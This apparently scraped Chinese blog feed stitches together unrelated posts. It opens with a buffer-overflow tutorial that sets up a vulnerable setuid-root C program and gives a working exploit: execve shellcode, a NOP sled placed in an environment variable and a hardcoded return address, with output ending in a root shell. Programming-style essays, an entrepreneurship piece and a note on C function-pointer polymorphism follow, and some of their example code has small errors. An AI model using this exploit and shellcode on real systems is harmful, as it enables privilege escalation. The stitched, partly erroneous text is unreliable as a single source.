溢出利用程序不仅仅是只能用c语言编写，其实几乎任何编程语言都能用来编写
溢出利用程序，这里用Linux作为试验平台，以实例演示C、Perl、Shell、Awk
语言编写溢出利用程序。之所以选择这几个语言是因为他们都几乎是Unix系统
自带的语言（商用Unix系统中C语言例外）。示例中基本都是把SHELLCODE放到
环境变量中来实现精确定位的。


<一>  有溢出漏洞的vul.c

[cloud@test]$ id
uid=505(cloud) gid=503(test) groups=503(test)
[cloud@test]$ cat vul.c
/* Demo
   Have a bof vul at argv[1].
   Write by watercloud @ xfocus.org
*/
#include<stdio.h>
int main(int argc,char  * argv[])
{
        char buff[32];
        if(argc > 1)
        {
                strcpy(buff,argv[1]);
        }
        printf("buff : %s\n",buff);
        return 0;
}
[cloud@test]$ gcc vul.c -o vul
[cloud@test]$ ls -l vul
-rwxr-xr-x    1 cloud    test      11627  2月 24 10:14 vul
[cloud@test]$ sudo chown root vul
[cloud@test]$ sudo chmod u+s vul
[cloud@test]$ ls -lh vul
-rwsr-xr-x    1 root     test        11K  2月 24 10:14 vul



<二> C语言版本利用程序ex.c

[cloud@test]$ cat ex.c
/* Demo for exploit bof of "./vul"
   Write by watercloud @ xfocus.org
*/
#include <stdio.h>
#define TARGET "./vul"
#define ADDR 0xbffff3e8
char SH[]="1\xc0PPP[YZ4\xd0\xcd\x80"
          "j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
int main(int argc,char * argv[])
{
        char env_buff[4000];
        char cmd_buff[1024];
        int i,ret;
        unsigned int *pi;
        char * pc;

        for(i=0;i<3096;env_buff[i++]=0x90){ };
        env_buff[i]='\0';
        strcat(env_buff,SH);
        setenv("KK",env_buff,1);
        strcpy(cmd_buff,TARGET);
        pc=&cmd_buff[strlen(TARGET)];
        *pc++=' ';
        for(ret=1,i=0;i<4 && ret;i++)
        {
                int j;
                *pc++='A';
                pi=(unsigned int *)pc;
                for(j=0;j<20;*pi++=ADDR,j++){};
                *pi=0;
                ret=system(cmd_buff);
        }
        return ret;

}
[cloud@test]$ gcc ex.c -o ex
[cloud@test]$ ./ex
buff : A梵?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??
梵?胯??
buff : AA梵?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
胯?胯??
buff : AAA梵?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
?胯?胯??
buff : AAAA梵?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯??
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit

小语

   溢出的根本在于地址定位、堆栈等数据结构的使用约定和组织、操作系统运行时结构等
了解这些知识后溢出利用本生和编程语言是没有关系的。

        1
      121
    12321
  1234321
123454321

#include"stdio.h"
void generate(char  x,char  y)
{
if(x==y)
{
putchar(y);
return;
}
else
{
putchar(x);
generate(x+1,y);
putchar(x);
}
}
main()
{
int i,j;
char x;
for( i=1;i<6;i++)
{
for(j=1;j<6-i;j++)
{
putchar(' ');
}
x='0'+i;
generate('1',x);
putchar('\n');
}
}

已上程序是从网友al所提供的程序中修改而来的 ！

]]> 2005-04-28T20:58:16Z 2005-04-28T20:58:16Z 2005-04-28T20:58:16Z tag:kaixin8.blogchina.com,2005://1358167 奇才 http://kaixin8.blogchina.com/index.html liujiakaimail@163.com 程序人生 一、计算机硬件环境对软件设计方法的限制

　　 计算机的发明到现在已经60年了，计算机程序设计方法也伴随着计算机硬件技术的提高而不断发展。硬件环境对软件设计既有严重的制约作用，也有积极的推动作用。

　　 在我的大学母校（此处删除6个字），数学系的一些老师，有幸成为了我国第一代的计算机DIY一族。呵呵，不要以为是组装PC机呦，他们组装的可是小型机。一人多高铁皮柜大小的主机，加上纸带机（后期改进为读卡机），组装好后，除了供学校自己的科研使用外，还在全国各地销售了十几台。当时（七十年代）一台的售价是10几万元人民币，如果换算到今天，相当于价值大约为100多万元，非常高档的小型计算机了。下面大家猜猜，这么高档的计算机，它的内存是多少那？（都把嘴闭好了，我要公布答案了）—— 4K。

　　 一块50公分见方的内存板，

　　 插入到主机箱中，好了------ 1K；
　　 再插一块内存板，好了------ 2K；
　　 再插一块内存板，好了------ 3K；
　　 再插一块内存板，好了------ 4K；
　　 再......不行了，插不起了，太贵了！这就是当时的环境。这样的环境下，用什么写程序那？当然只有机器码了。先用汇编写，然后翻阅手册手工改写为机器码，然后打卡或穿纸带，输入运行。可以想象，在当时的条件下，什么叫好的程序那？什么叫优秀的程序那？—— 技巧！

　　 程序设计的最初始阶段，是讲究技巧的年代。如何能节省一个字节，如何能提高程序运行的效率，这些都是要严肃考虑的问题。而所谓的程序的易读性，程序的可维护性根本不在考虑范围之内。

　　 今天，35岁以上的学习过计算机的朋友可能都使用过一种个人计算机——APPLE-II（中国也生产过这种计算机的类似产品“中华学习机”）。主频1M，内存48K（扩展后，最多可达到64K）。我就是使用这样的计算机长大的 :)。当年，类似的个人计算机产品，还有PC1500，Layser310等。这种计算机上已经固化了 BASIC 语言，当然只是为学习使用。要想开发出真正的商业程序，则必须使用汇编，否则的话，程序就比蜗牛还要慢了。于是，程序设计中对于技巧的运用，是至关重要的了。

　　 题外话1：

　　 比尔盖茨是 BASIC 的忠实拥护和推动者。当年，他在没有调式环境的状况下，用汇编语言写出了一款仅有 4K 大小的 BASIC 解释器，且一次通过。确实另人佩服。（不象现在微软出品的程序，动辄几十兆。）这也许就是比尔对 BASIC 情有独忠的原因，每当微软推出（临摹）一个新技术，则他会立刻在 BASIC 中提供支持。

　　 题外话2：

　　 在 APPLE-II 上有一款游戏软件“警察抓小偷”，当年熬夜玩游戏，乐趣无穷。后来这款游戏被移植到了PC上，咳~~~根本没有办法玩，因为小偷还没跑就被警察抓到了。硬件的速度提升，另我无法再回味以前的时光了。

　　二、结构化程序设计

　　 随着计算机的价格不断下降，硬件环境不断改善，运行速度不断提升。程序越写越大，功能越来越强，讲究技巧的程序设计方法已经不能适应需求了。记得是哪本书上讲过，一个软件的开发成本是由：程序设计 30% 和程序维护 70% 构成。这是书上给出的一个理论值，但实际上，从我十几年的工作经验中，我得到的体会是：程序设计占 10%，而维护要占 90%。也许我说的还是太保守了，维护的成本还应该再提高。下面这个程序，提供了两种设计方案，大家看看哪个更好一些那？

　　 题目：对一个数组中的100个元素，从小到大排序并显示输出。(BASIC)

　　 方法1：冒泡法排序，同时输出。
FOR I=1 TO 100
　 FOR J=I+1 TO 100
　　 IF A[I] > A[J] THEN T=A[J]: A[J]=A[I]: A[I]=T
　 NEXT J
　 ? A[I]
NEXT I

方法2：冒泡法排序，然后再输出。

FOR I=1 TO 100
FOR J=I+1 TO 100
IF A[I] > A[J] THEN T=A[J]: A[J]=A[I]: A[I]=T
NEXT
NEXT

FOR I=1 TO 100
? A[I]
NEXT

显然，“方法1”比“方法2”的效率要高，运行的更快。但是，从现在的程序设计角度来看，“方法2”更高级。原因很简单：（1）功能模块分割清晰——易读；（2）也是最重要的——易维护。程序在设计阶段的时候，就要考虑以后的维护问题。比如现在是实现了在屏幕上的输出，也许将来某一天，你要修改程序，输出到打印机上、输出到绘图仪上；也许将来某一天，你学习了一个新的高级的排序方法，由“冒泡法”改进为“快速排序”、“堆排序”。那么在“方法2”的基础上进行修改，是不是就更简单了，更容易了？！这种把功能模块分离的程序设计方法，就叫“结构化程序设计”。

三、对程序设计中技巧使用的思考

　　 我可以肯定，大家在开始学习程序设计的时候，一定都做过这样一个题目：求100以内的素数。老师在黑板上，眉飞色舞地写出了第一个程序：（C程序）

　　 方法1：
for(i=1; i<100; i++)
{
　 for(j=2; j< i; j++)
　　 if(i%j == 0) break;
　　 if(j >= i) printf("%d,", i);
}

然后，老师开始批判这个程序“这个叫什么呀？太慢了！因为我们都知道大偶数不可能是素数了，因此，要排除掉！” 于是，意尤未尽地写出了第二个程序：

　　 方法2：
printf("2,");
for(i=3; i<100; i+=2)
{
　 for(j=2; j< i; j++)
　　 if(i%j == 0) break;
　　 if(j >= i) printf("%d,", i);
}

老师说：“看！我们只改动了一点点，程序运行的速度就提高了一倍多”。然后运用诱导式教学法继续提问“程序的效率，还能再提高吗？能！”，得意地写出第三个程序：

　　 方法3：
printf("2,");
for(i=3; i<100; i+=2) ''不考虑大偶数
{
　 for(j=3; j< i/2; j+=2) ''不考虑用偶数去测试，而且只验算到一半就足够了
　　 if(i%j == 0) break;
　　 if(j >= i) printf("%d,", i);
}

“大家看，我们又只改动了一点点，运行速度又提高了一倍多。可以了吗？不可以！我们还能再提高”。于是又高傲地写出了第四个程序：

　　 方法4：
printf("2,");
for(i=3; i<100; i+=2)
{
　 int k = sqrt(i);
　 for(j=3; j<= k; j+=2)
　　 if(i%j == 0) break;
　　 if(j >= k ) printf("%d", i);
}

然后，开始证明为什么我们判断素数的时候，只需要验算到平方根就足够了：

　　 假设p是合数，那么令:p=a*b。反正法：由于我们已经判断了p的平方根以内的整数都不能被p整除，于是 a>SQRT(p)。基于同样的理由 b>SQRT(p)。于是 p = a * b > SQRT(p) * SQRT(p) = p 得出矛盾， 命题得正。

　　 的确，“方法4”的确比“方法1”的运行速度要提高了好几倍，甚至好几十倍。但我们仔细分析测试看看。

　　 （1）“程序4”到底比“程序1”快了多少那？我在某台计算机上进行测试（P4，1.5G)得到的速度对比表：

计算范围	100	1000	10000	100000
速度差	0.00秒	0.01秒	0.18秒	15秒

2） 在10万以上，才会看出一些差别。而这种差别根本就不够底偿程序设计阶段的付出。如果计算的范围再大，那么不管是“方法1”，还是“方法4”都不是好的算法。（计算素数的另外一个比较优秀的算法叫“漏筛法”）

　　 （3）写出“方法1”，只要具有小学四年级的数学水平就够了，而“方法4”则需要初中三年级的水平并且还要具备一些“数论”的知识。

　　 （4）从维护性看，如果你写的程序需要另外一个程序员来维护，或者若干时间以后，你重新来阅读这段程序，那么就会对这个程序产生很多疑问：这个求平方根是干什么用的？其实，就这个题目来说，使用到“方法3”就已经足够了。

　　 总结发言：

　　 I. 计算机的价格每年下降一半，而运算速度每年提高一倍”，因此我们应该把速度提高的任务交给硬件实现。

　　 II. 从易读性、维护性出发，程序员只负责按定义给出软件实现。算法的问题是数学家解决的。

　　 题外话：

　　 多年以来，人们一直在寻找动态图象(影视)的存储和回放的算法，但效果都不理想。直到有人发现，原来在200多年前的数学家早就帮我们解决了这个问题——傅立叶（Fourier）级数展开。因此我要说，优秀的算法不是我们程序员要考虑的问题，我们的任务只要按照数学家给出的算法翻译为计算机程序语言而已。（这句话恐怕要遭到大多数程序员抛出的板砖袭击）再比如，计算一元多次方程解的问题。我们使用的就是牛顿的迭代算法。不要怪我瞧不起你，你能发明这个方法的话，那就是当代的牛顿了。

　　四、程序的易读性与书写方法

　　 程序是否容易阅读和维护，与怎么书写有很大的关系。说实在的，C语言中为了方便程序员书写，允许使用++,--,<<,&&，？......这些运算符号。但很多人经常乱用，以为自己写的程序多么简洁，效率多高。其实，当你分行书写的话则更加容易阅读和维护，效率也不会降低，因为编译程序早就帮你优化为最快捷的代码了。先看一个简单的例子：

　　 计算一个整数乘 255(C语言)

　　 方法1：a *= 255;

　　 方法2：因为移位运算比乘法运算要快很多倍，因此a*255的运算书写为：
a =(a<<8)-a; //a*255 = a*256 - a = (a<<8) - a

法1的书写非常简单，直截了当，显然更容易维护。而方法2的书写运用了移位的技巧，不容易阅读，但效率最高。是不是真的是这样那？把这两个程序编译为汇编代码看看。原来无论是方法1还是方法2，它们的汇编代码都是一样的：
mov ecx, eax
shl eax, 8
sub eax, ecx

也就是说，你认为非常技巧的书写方法，其实编译器的优化功能早就帮你想到了。那么方法2的方式就很值得批判了。下面是几个有关C语言书写方面的重要原则：
　
　　 1）尽量表达愿义，多加注释；

　　 2）变量名称和函数名称，要使用有意义的符号，并且遵守“匈牙利命名法”；

　　 3）不要为俭省内存，使一个变量在一个模块中表达多个含义。

　　 4）在某个模块中，前半部分用i表示计数器，由于后半部分不再使用计数器了，于是又用i来保存某个中间的结果。等你维护这段程序的时候，保证你肯定会犯傻的。

　　 5）在使用条件表达式的时候，不要混合书写运算表达式；

　　 经常有人在书写for循环的时候，使用这样的方式： for(int a=1,s=0; a<=100 && (s+=a); a++);

　　 天呀，这样写是不会提高程序运行效率的，尤其是当运算表达式复杂的时候，就更不容易阅读了，还是把运算写到for的循环体中吧。
int s = 0;
for(int a=1; a<=100; a++)
　 s += a; //计算1+2+...+100 这不很好吗?!

再比如，if(a=b)这个写法在语法上是允许的，但不要使用。要使用也要if(0!=(a=b))这样的方式。 还有值得一提的是慎用“,”（逗号运算符）。

　　 不要连续使用++,--,<<，*，& .....这样的运算符号。

　　 a = b++-(--c<<1+e&0x0f>>1); //这个人有病。出这个题目考试的老师，也有病。

　　 常量要写在条件表达式的左边；

　　 if(5 == a) 这是正确的写法，这样书写可以避免勿输入而导致的 if(a=5)这样的错误。

　　 避免程序中{ }的嵌套层次太深；

　　 最多4层。如果必须大于4层，那么写成调用子函数或宏的方式。

　　 尽量多地使用断言；

　　 当你在书写程序的过程中，凭你的智慧，你一定是知道：程序运行到我正书写的这行代码的时候某个变量一定是某个值。好啦，那么不要忧郁，马上加上一句代码：ASSERT(nnn == xxx);。将来在调式维护这段代码的时候，你会得到无限美妙的回报。

　　 书写需要“成对匹配”使用的代码的时候，在写使用代码之前，就先把结束写出来

file.Open(...); //当要打开文件的时候 char *lp=new char [100]; //当要申请内存的时候
...... //先不要写这段代码 ...... //先不要写这段代码
file.Close(); //马上写关闭 delete [] lp; //马上写释放

xxx.Loack(); //当某个对象需要锁定的时候 for(....)
...... //先不要写这段代码 { //写大括号的时候
xxx.Unlock(); //马上写解锁 } //马上写大括号结束

和这个道理相同，在C++的类中，如果需要申请内存，那么先在构造函数中给出 lp=NULL;然后马上在析构函数中书写 if(lp) delete []lp;

　　 可以适当地使用goto；

　　 在结构化程序设计中，goto 是被排斥的。但是，如果适当地使用 goto 不但不影响斜率，而且还能提高程序的可读性。

　　 题目：合并2个文件到一个新文件中。（不要挑我的毛病呀~~~~~，我使用的是类C的方式书写的。）

方法1：
FILE *f1,*f2,*f3;
if(Open(f1)成功)
{
　 if(Open(f2)成功)
　 {
　　 if(Open(f3)成功)
　　 {
　　　 ...... //这里是真正干活的地方
　　　 Close(f1);
　　　 Close(f2);
　　　 Close(f3);
　　 }
　　 else //f3不成功
　　 {
　　　 Close(f1);
　　　 Close(f2);
　　　 ......
　　 }
　 }
　 else //f2不成功
　 {
　　 Close(f1);
　　 ......
　 }
}
else //f1不成功
{
　 ......
}


方法2：
FILE *f1=NULL,*f2=NULL,*f3=NULL;
if(Open(f1)不成功) goto err;
if(Open(f2)不成功) goto err;
if(Open(f3)不成功) goto err;
...... //这里是真正干活的地方
err:
if(f3) Close(f3);
if(f2) Close(f2);
if(f1) Close(f1);

方法1是最最标准的结构化设计，好吗？不好！尤其是当{ }的层次比较深的时候，估计你寻找真正干活的代码的地方都找不到。而使用方法2的程序，不但程序容易读，而且没有{ } 的深度。在C++中，又提供了异常try/catch的设计结构，而异常的结构则比 goto 的结构更好、更完善了。


　　五、面向对象的程序设计

　　 随着程序的设计的复杂性增加，结构化程序设计方法又不够用了。不够用的根本原因是“代码重用”的时候不方便。面向对象的方法诞生了，它通过继承来实现比较完善的代码重用功能。很多学生在应聘工作，面试的时候，常被问及一个问题“你来谈谈什么是面向对象的程序设计”，学生无言，回来问我，这个问题应该怎么回答。我告诉他，你只要说一句话就够了“面向对象程序设计是对数据的封装；范式（模板）的程序设计是对算法的封装。”后来再有学生遇到了这个问题，只简单的一句对答，对方就对这个学生就刮目相看了（学生后来自豪地告诉我的）。为什么那？因为只有经过彻底的体会和实践才能提炼出这个精华。

　　 面向对象的设计方法和思想，其实早在70年代初就已经被提出来了。其目的就是：强制程序必须通过函数的方式来操纵数据。这样实现了数据的封装，就避免了以前设计方法中的，任何代码都可以随便操作数据而因起的BUG，而查找修改这个BUG是非常困难的。那么你可以说，即使我不使用面向对象，当我想访问某个数据的时候，我就通过调用函数访问不就可以了吗？是的，的确可以，但并不是强制的。人都有惰性，当我想对 i 加1的时候，干吗非要调用函数呀？算了，直接i++多省事呀。呵呵，正式由于这个懒惰，当程序出BUG的时候，可就不好捉啦。而面向对象是强制性的，从编译阶段就解决了你懒惰的问题。

　　 巧合的是，面向对象的思想，其实和我们的日常生活中处理问题是吻合的。举例来说，我打算丢掉一个茶杯，怎么扔那？太简单了，拿起茶杯，走到垃圾桶，扔！注意分析这个过程，我们是先选一个“对象”------茶杯，然后向这个对象施加一个动作——扔。每个对象所能施加在它上面的动作是有一定限制的：茶杯，可以被扔，可以被砸，可以用来喝水，可以敲它发出声音......；一张纸，可以被写字，可以撕，可以烧......。也就是说，一旦确定了一个对象，则方法也就跟着确定了。我们的日常生活就是如此。但是，大家回想一下我们程序设计和对计算机的操作，却不是这样的。拿DOS的操作来说，我要删除一个文件，方法是在DOS提示符下：c:> del 文件名<回车>。注意看这个过程，动作在前（del），对象在后(文件名),和面向对象的方法正好顺序相反。那么只是一个顺序的问题，会带来什么影响那？呵呵，大家一定看到过这个现象：File not found. “啊~~~，我错了，我错了，文件名敲错了一个字母”，于是重新输入：c:> del 文件名2<回车>。不幸又发生了，计算机报告：File read only. 哈哈，痛苦吧:)。所以DOS的操作其实是违反我们日常生活中的习惯的（当然，以前谁也没有提出过异议），而现在由于使用了面向对象的设计，那么这些问题，就在编译的时候解决了，而不是在运行的时候。obj.fun()，对于这条语句，无论是对象，还是函数，如果你输入有问题，那么都会在编译的时候报告出来，方便你修改，而不是在执行的时候出错，害的你到处去捉虫子。

　　 同时，面向对象又能解决代码重用的问题——继承。我以前写了一个“狗”的类，属性有（变量）：有毛、4条腿、有翘着的尾巴（耷拉着尾巴的那是狼）、鼻子很灵敏、喜欢吃肉骨头......方法有（函数）：能跑、能闻、汪汪叫......如果它去抓耗子，人家叫它“多管闲事”。好了，狗这个类写好了。但在我实际的生活中，我家养的这条狗和我以前写的这个“狗类”非常相似，只有一点点的不同，就是我的这条狗，它是：卷毛而且长长的，鼻子小，嘴小......。于是，我派生一个新的类型，叫“哈巴狗类”在“狗类”的基础上，加上新的特性。好了，程序写完了，并且是重用了以前的正确的代码——这就是面向对象程序设计的好处。我的成功只是站在了巨人的肩膀上。当然，如果你使用VC的话，重用最多的代码就是MFC的类库。

　　六、组件（COM）程序设计

　　 有了面向对象程序设计方法，就彻底解决了代码重用的问题了吗？答案是：否！硬件越来越快，越来越小了，软件的规模却也越来越大了，集体合作越来越重要，代码重用又出现的新的问题。 我用C++写的类，不能被BASIC重用——不能夸语言；你要干什么，想重用我的代码？不行，这样你就看见了我的设计思想——只能在源程序级别重用，不能在二进制级别（可执行代码及）重用。

　　 我耗尽毕生的精力，写了一个包罗万象的类库，但没有人用。因为他们说：你这个太大了，我的程序只有1K，你却给我一个 10000MB 的库——MFC 的尴尬。

　　 太好了，我终于找到了程序中的一个BUG，已经修改完成，而且是只改动了一个字节。接下来我要重新向我的用户分发新的版本，我的用户有......10万个——升级的非鲁棒性，不是我分发累死了，就是用户重新安装累死了。（鲁棒：robust。意为强壮性的，平顺的，顺滑的.....鬼知道是哪个不懂计算机的人翻译的这个词汇。）

　　 我想写一个集大成的软件，这个软件的功能是我中有你，你中有我。既能实现文字编辑，又能实现电子表格计算，又能实现自动翻译，还能画图，还能实现数据库检索，还可以看电影.....只要用了我的这个软件，想要什么就有什么，我要强占整个软件的市场------OLE实现的重用功能，只要学会了COM，这些都不是问题了。

　　 用户甲要求我的软件窗口上下分割，用户乙要求我的软件窗口左右分割......我需要在我的软件基础上，派生出100个类型，可怎么办呀？将来怎么维护呀？------在脚本的支持下，实现同一程序的的灵活配置而重用，问题迎刃而解了。

　　 我是个老板，你知道我有多痛苦吗？我手下的员工向我提出加工资的要求，我不得不答应呀。因为如果这个员工跳槽了，他的代码要维护起来有多难！！！——现在好啦，我要求员工统统用组件写模块，想加工资？门都没有，威胁我要走？那你走吧，这个月的工资也不发了。反正用组件写的代码，我可以很容易地进行包容和聚合实现维护。（老板的福音，程序员的悲哀）。

　　 还有好多那，现在想不起来了......

　　 COM程序设计方法，就是解决以上问题的一个方式。有很多朋友觉得COM非常复杂难懂，不想学习了。你一定学习过程序设计的最基本的方法（非结构化设计：汇编、gwBasic......）,然后，你又学习了结构化程序设计（C、Pascal......）,然后，你又努力学习并熟练掌握了面向对象的程序设计方法（C++、Delphi、Java......）,那么不要怕，要有信心去学习组件程序设计，它只是一个设计方法和思想，并且是目前较高级的方法，如果不掌握，就太可惜了。

　　 学习了结构化程序设计，你就会“藐视”那些不遵守结构化设计思想而写出的代码；

　　 学习了面向对象设计，你就会“嘲笑”那些为找BUG而晕头转向的程序员；

　　 同样，学习了组件程序设计，你就会站在更高的层次看待程序设计。

　　七、结束语

　　 写程序的目的是什么？养家糊口、兴趣使然、我的事业......这些都对。但我要强调的是：写程序的目的是为了修改程序。在这个观点上，那么写注释、写文档、选择语言、选择结构......都是为这个服务的。本文从软件设计方法的进化角度来反复阐述这个观点，希望爱好者能有所体会和思考。

　　 文中所讨论的技术和观点，适合于大多数情况下的程序设计，而对于特殊的应用的（驱动开发，嵌入式开发，网络通讯，实时视频......），这些领域中，由于硬件环境的限制和极限效率的要求，有些观点就不合适了，需要具体情况具体分析。另外就是对于程序设计的初学者，可以先不考虑这么多问题，以掌握基本技巧方法和思想为要。

来源: vckbase

诚信———创业立足之本

市场经济已进入诚信时代，作为一种特殊的资本形态，诚信日益成为企业的立足之本与发展源泉。

风险投资界有句名言："风险投资成功的第一要素是人，第二要素是人，第三要素还是人。"此话足以证明风险投资家对创业者个人素质的关注程度。在他们看来，创业项目、商业计划、企业模式等都可适时而变，唯有创业者品质难以在短时间内改变。

创业者品质决定着企业的市场声誉和发展空间。不守"诚信"，或可"赢一时之利"，但必然"失长久之利"。反之，则能以良好口碑带来滚滚财源，使创业渐入佳境。

自信———创业的动力

日本八佰伴集团创始人和田一夫开始时仅经营一家小水果铺，还被一场大火烧得赤手空拳。但是，在"不摧毁旧的，就不能建设新的"信念支持下，他最终东山再起，成为名噪一时的创业家。

人的意志可以发挥无限力量，可以把梦想变为现实。对创业者来说，信心就是创业的动力。要对自己有信心，对未来有信心，要坚信成败并非命中注定而是全靠自己努力，更要坚信自己能战胜一切困难。

勇气———视挫败为成功之基石

硅谷有着"创业大本营"的美誉，在这儿，每年都有数以万计的企业倒下，同时也有成千上万的创业者一夜暴富。美国知名创业教练约翰·奈斯汉说："造就硅谷成功神话的秘密，就是失败。失败的结果或许令人难堪，但却是取之不尽的活教材，在失败过程中所累积的努力与经验，都是缔造下一次成功的宝贵基础。"

成功需要经验积累，创业的过程就是在不断的失败中跌打滚爬。只有在失败中不断积累经验财富，不断前行，才有可能到达成功彼岸。美国3M公司有一句关于创业的"至理名言"：为了发现王子，你必须与无数只青蛙接吻。对于创业家来说，必须有勇气直面困境，敢于与困难"接吻"。

领袖精神———创业的无形资本

一只狮子领着一群羊，胜过一只羊领着一群狮子。这一古老的西方谚语说明了创业者领袖精神的重要性。企业成功离不开团队力量，但更多层面上取决于领导者本人。创业者是企业的一面精神旗帜，其一言一行都将影响企业的荣辱兴衰。

企业文化被称作企业灵魂和精神支柱。而企业文化精髓就是创业者的领袖精神，这是凝聚员工的一笔"不可复制"的财富，更是初创企业生存和发展的关键。

许多优秀的跨国企业中，这种领袖精神随处可见。摩托罗拉公司对高尔文"摩托罗拉大家庭"理念的继承，戴尔公司对戴尔"效率至上"原则的推崇，都证明了企业领袖精神的重要性。对创业者来说，注重塑造领袖精神，远比积累财富更重要，因为财富可在瞬间赢得或失去，但领袖精神永远是赢得未来的无形资本。

爱心———创业成功的催化剂

在竞争日趋激烈的今天，产品和企业的公众形象定位，对创业成功与否起着关键作用。富有爱心，则是构成诚实、良好商业氛围的重要因素。从某种角度看，爱心是创业成功的"催化剂"。

惠普创始人戴维·帕卡德提出："一个企业对社会的责任远远重要于对股东的责任。"这位亿万富翁住在一栋简朴的房子里，却为许多大学和公益基金会捐了无数款项。

企业通过积极承担社会责任，热情支持公益事业，形成良好的社会口碑，反过来对企业的发展将产生强劲的支持作用。一位成功人士就曾感叹说，有时候花再多的钱做广告，不如多做一些对社会有益的事情，更能起到事半功倍的效果。

社交能力———借力打力觅捷径

以往人们总是强调自主创业，但如今这种观念正在改变，人际关系在创业中的作用逐渐加大，人脉圈日益成为创业信息、资金、经验的"蓄水池"，有时甚至在商业活动中能起到四两拨千斤的神奇功效。

目前"朋友经济"在招商中的作用日益显现。北京大学中国金融投资家俱乐部的成员就包括投资公司老板、证券商、银行家以及政府部门金融方面官员，他们手中掌控着1200亿元资本和无限商机。

在当今提倡合作双赢的时代，过去那种单枪匹马的创业方式已越来越不适应时代需求。扩大社交圈，通过朋友掌握更多信息、寻求更大发展，日益成为成功创业的捷径。

合作能力———趋时避害形成合力

携程计算机技术（上海）有限公司总裁季琦告诉青年创业者，"携程网"的成功，除了抓住当初互联网快速发展的契机，有一个良好的创业团队是关键。

"携程网"的团队成员来自美国Oracle公司、德意志银行和上海旅行社等，是技术、管理、金融运作、旅游的完美组合。大家在一起创业，分享各自的知识和经验，同时也避免了很多创业"雷区"。

创新精神———创业成功的维生素

金利来领带的创始人曾宪梓说："做生意要靠创意而不是靠本钱！"在竞争激烈的市场中，缺乏创新的企业很难站稳脚跟，改革和创新永远是企业活力与竞争力的源泉。

万科集团在1988年发行了大陆第一份《招商通函》，目前该公司已成为全国房地产知名企业和中国最具发展潜力的上市公司；上海复兴高科积极推进与数十家国有企业合资合作，用民营企业机制同国有企业资产实行有效嫁接......这些企业的成功，都离不开创业家挑战成绩、自我加压、勇于创新的精神。

魄力———该出手时就出手

商海女杰菲奥里纳在面对戴尔、IBM等领先者时对惠普员工说：以前我们要做到95分才推出，现在我要求80分时就推出，然后慢慢改进；以前是瞄准、准备、开火，在网络时代里，瞄准了就要开火，没有时间准备。

在创业界，往往是风险与机会并存。创业者必须善于发现新生事物，并对新生事物有强烈的探求欲；必须敢于冒险，即使没有十足把握，也应果断地尝试。

敏锐眼光———识时务者终为俊杰

张明正拿到电脑硕士学位后，选择了被时人称为"旁门左道"的防病毒软件作为主攻方向。1999年4月，第一个通过电子邮件传播的"梅丽莎"病毒忽然爆发，正当众多IT企业无计可施时，张明正的"传奇故事"诞生了，他的"解药"被大量使用，他创立的趋势科技公司目前市价已逾100亿美元，张本人也先后两次被美国《商业周刊》推选为"亚洲之星"。

生意场上，眼光起了决定性作用。很多资金不多的小创业者，都是依靠准确抓住某个不起眼的信息而挖到"第一桶金"的。市场经济刚起步时，机会特别多，好像做什么都能赚钱，只要你有足够胆量和能力。但如今每个行业每个领域都有人做，激烈的市场竞争宣告"暴利时代"已经结束，取而代之的是"微利时代"。因此，创业机会必须靠创业者自己发掘。

相信很多人都看过设计模式方面的书，大家有什么体会呢？Bridge，Proxy，Factory这些设计模式都是基于抽象类的。使用抽象对象是这里的一个核心。

其实我觉得框架化编程的一个核心问题是抽象，用抽象的对象构建程序的主体框架，这是面向对象编程的普遍思想。用抽象构建骨架，再加上多态就形成了一个完整的程序。由于C＋＋语言本身实现了继承和多态，使用这样的编程理念（理念啥意思？跟个风，嘿嘿）在C＋＋中是十分普遍的现象，可以说Virtual（多态）是VC的灵魂。

但是，使用C语言的我们都快把这个多态忘光光了。我常听见前辈说，类？多态？我们用的是C，把这些忘了吧。很不幸的是，我是一个固执的人。这么好的东西，为啥不用呢。很高兴的，在最近的一些纯C代码中，我看见了C中的多态！下面且听我慢慢道来。

1. VC中的Interface是什么

Interface：中文解释是接口，其实它表示的是一个纯虚类。不过我所要说的是，在VC中的Interface其实就是struct，查找Interface的定义，你可以发现有这样的宏定义：

#Ifndef Interface

#define Interface struct

#endif

而且，实际上在VC中，如果一个类有Virtual的函数，则类里面会有vtable，它实际上是一个虚函数列表。实际上C＋＋是从C发展而来的，它不过是在语言级别上支持了很多新功能，在C语言中，我们也可以使用这样的功能，前提是我们不得不自己实现。

2．C中如何实现纯虚类（我称它为纯虚结构）

比较前面，相信大家已经豁然开朗了。使用struct组合函数指针就可以实现纯虚类。

例子： typedef struct {

void (*Foo1)();

char (*Foo2)();

char* (*Foo3)(char* st);

}MyVirtualInterface;

这样假设我们在主体框架中要使用桥模式。（我们的主类是DoMyAct，接口具体实现类是Act1，Act2）下面我将依次介绍这些"类"。（C中的"类"在前面有说明，这里换了一个，是使用早期的数组的办法）

主类DoMyAct： 主类中含有MyVirtualInterface* m_pInterface; 主类有下函数：

DoMyAct_SetInterface(MyVirtualInterface* pInterface)

{

m_pInterface= pInterface;

}

DoMyAct_Do()

{

if(m_pInterface==NULL) return;

m_pInterface->Foo1();

c=m_pInterface->Foo2();

}

子类Act1：实现虚结构，含有MyVirtualInterface st[MAX]; 有以下函数：

MyVirtualInterface* Act1_CreatInterface()

{

index=FindValid() //对象池或者使用Malloc ！应该留在外面申请，实例化

if(index==-1) return NULL;

St[index].Foo1=Act1_Foo1; // Act1_Foo1要在下面具体实现

St[index].Foo2=Act1_Foo2;

St[index].Foo3=Act1_Foo3;

Return &st [index];

}

子类Act2同上。

在main中，假设有一个对象List。List中存贮的是MyVirtualInterface指针，则有：

if( (p= Act1_CreatInterface()) != NULL)

List_AddObject(&List, p); //Add All

While(p=List_GetObject()){

DoMyAct_SetInterface(p);//使用Interface代替了原来大篇幅的Switch Case

DoMyAct_Do();//不要理会具体的什么样的动作，just do it

}

FREE ALL。

在微系统里面，比如嵌入式，通常使用对象池的技术，这个时候可以不用考虑释放的问题（对象池预先没有空间，使用Attach，在某个函数中申请一个数组并临时为对象池分配空间，这样函数结束，对象池就释放了）

